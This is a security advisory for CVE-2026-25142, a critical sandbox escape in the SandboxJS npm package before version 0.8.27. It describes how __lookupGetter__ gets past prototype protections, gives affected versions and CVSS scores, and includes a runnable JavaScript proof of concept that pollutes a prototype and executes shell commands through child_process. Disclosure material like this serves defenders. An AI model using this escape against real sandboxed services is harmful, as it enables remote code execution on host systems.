CVE-2026-25142
CRITICAL10.0EPSS 0.26%SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
描述
### Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. ### Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ``` ### Impact Prototype Pollution -> RCE
受影響套件(1)
- npm/@nyariv/sandboxjsfrom 0, < 0.8.27
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
參考連結(5)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-25142
- PATCHhttps://github.com/nyariv/SandboxJS
- WEBhttps://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398
- WEBhttps://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3
- WEBhttps://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7